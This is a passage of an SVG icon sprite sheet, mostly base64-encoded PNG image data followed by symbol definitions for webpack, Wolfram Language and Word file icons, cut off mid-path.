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"/></symbol><symbol viewBox="0 0 24 24" id="webpack" xmlns="http://www.w3.org/2000/svg"><path d="M19.376 15.988l-7.709 4.45-7.708-4.45V7.087l7.708-4.45 7.709 4.45z" fill="#fff" fill-opacity=".785" stroke-width="0"/><path d="M12.286 1.98c-.21 0-.41.059-.57.179l-7.9 4.44c-.32.17-.53.5-.53.88v9c0 .38.21.711.53.881l7.9 4.44c.16.12.36.18.57.18.21 0 .41-.06.57-.18l7.9-4.44c.32-.17.53-.5.53-.88v-9c0-.38-.21-.712-.53-.882l-7.9-4.44a.945.945 0 0 0-.57-.179zm0 2.15l7 3.939v2.104h-.016v5.177h.016v.54l-7 3.939-7-3.94V8.07l7-3.94zm0 2.08l-4.9 2.83 4.9 2.83 4.9-2.83-4.9-2.83zm-5 5.08v3.58l4 2.308v-3.58l-4-2.308zm10 0l-4 2.308v3.58l4-2.308v-3.58z" fill="#8ed6fb"/><path d="M12.286 6.21l-4.9 2.83 4.9 2.83 4.9-2.83-4.9-2.83zm-5 5.08v3.58l4 2.308v-3.58l-4-2.308zm10 0l-4 2.308v3.58l4-2.308v-3.58z" fill="#1c78c0"/></symbol><symbol viewBox="0 0 24 24" id="wolframlanguage" xmlns="http://www.w3.org/2000/svg"><title>wolframLanguage</title><g transform="scale(.12121)" fill="none" fill-rule="evenodd"><circle cx="99.197" cy="98.946" r="83.28" fill="#212121" stroke-width=".841"/><path d="M182.529 98.828a83.406 83.406 0 0 1-39.14 70.721.064.064 0 0 1-.038.019l-28.62-35.665 23.71 2.612s11.385 1.177 13.978 0c2.373-.938 15.175-18.963 15.175-18.963s-36.75-23.23-49.312-36.032c1.434-21.575-1.656-50.269-1.656-50.03-9.251 9.234-10.429 10.669-19.68 19.203-4.028-13.04-5.923-17.547-9.95-30.588-12.104 9.95-21.337 26.799-27.977 46.48a78.68 78.68 0 0 0-4.23 5.094 109.774 109.774 0 0 0-2.667 3.66 114.558 114.558 0 0 0-5.132 8.002 172.555 172.555 0 0 0-3.403 6.051c-7.706 14.475-14.034 31.066-19.515 46.001a.858.858 0 0 1-.092-.184c-14.988-30.912-9.502-67.85 13.822-93.072 23.325-25.223 59.723-33.575 91.71-21.045 31.988 12.53 53.029 43.382 53.017 77.736z" fill="#e53935"/><path d="M101.452 69.178s-1.416-8.295-2.373-11.367c6.401-6.18 7.357-7.118 13.52-13.04.477 11.845.238 18.006-.479 32.481-3.55-3.568-10.668-8.074-10.668-8.074zm-27.737 40.778s-6.64-4.029-11.624-4.728c1.435-3.329 5.223-7.596 6.18-8.773-1.913.699-15.653 6.86-17.087 12.084a74.804 74.804 0 0 1 11.385 3.79 35.993 35.993 0 0 0-8.774 20.158s21.815-3.33 38.185-1.196c.283.168.609.251.938.24l8.534.239 27.111 45.136.221.35c-.037.018-.055.037-.073.037-51.133 18.485-88.085-15.543-95.976-27.443.034-.102.058-.206.074-.313 7.1-30.017 15.855-65.939 30-76.552 7.356-12.82 9.49-31.783 22.751-41.734 3.33 9.951 8.553 30.588 12.103 40.539 15.653 15.652 39.361 35.094 55.234 43.15 1.656.956 3.79 7.596 3.79 7.596l-6.401 8.056-68.276-6.879a54.462 54.462 0 0 0-4.58-.183 86.848 86.848 0 0 0-14.144 1.36c3.311-8.295 10.43-14.935 10.43-14.935zm22.054-8.774c3.789-.46 7.817.956 12.323 3.568 4.267-1.195 4.745-1.434 9.013-2.612-5.463-4.028-11.386-8.295-19.442-7.118a47.249 47.249 0 0 0-1.894 6.162z" fill="#fff" stroke-width=".936"/></g></symbol><symbol viewBox="0 0 24 24" id="word" xmlns="http://www.w3.org/2000/svg"><path d="M6 2h8l6 6v12a2 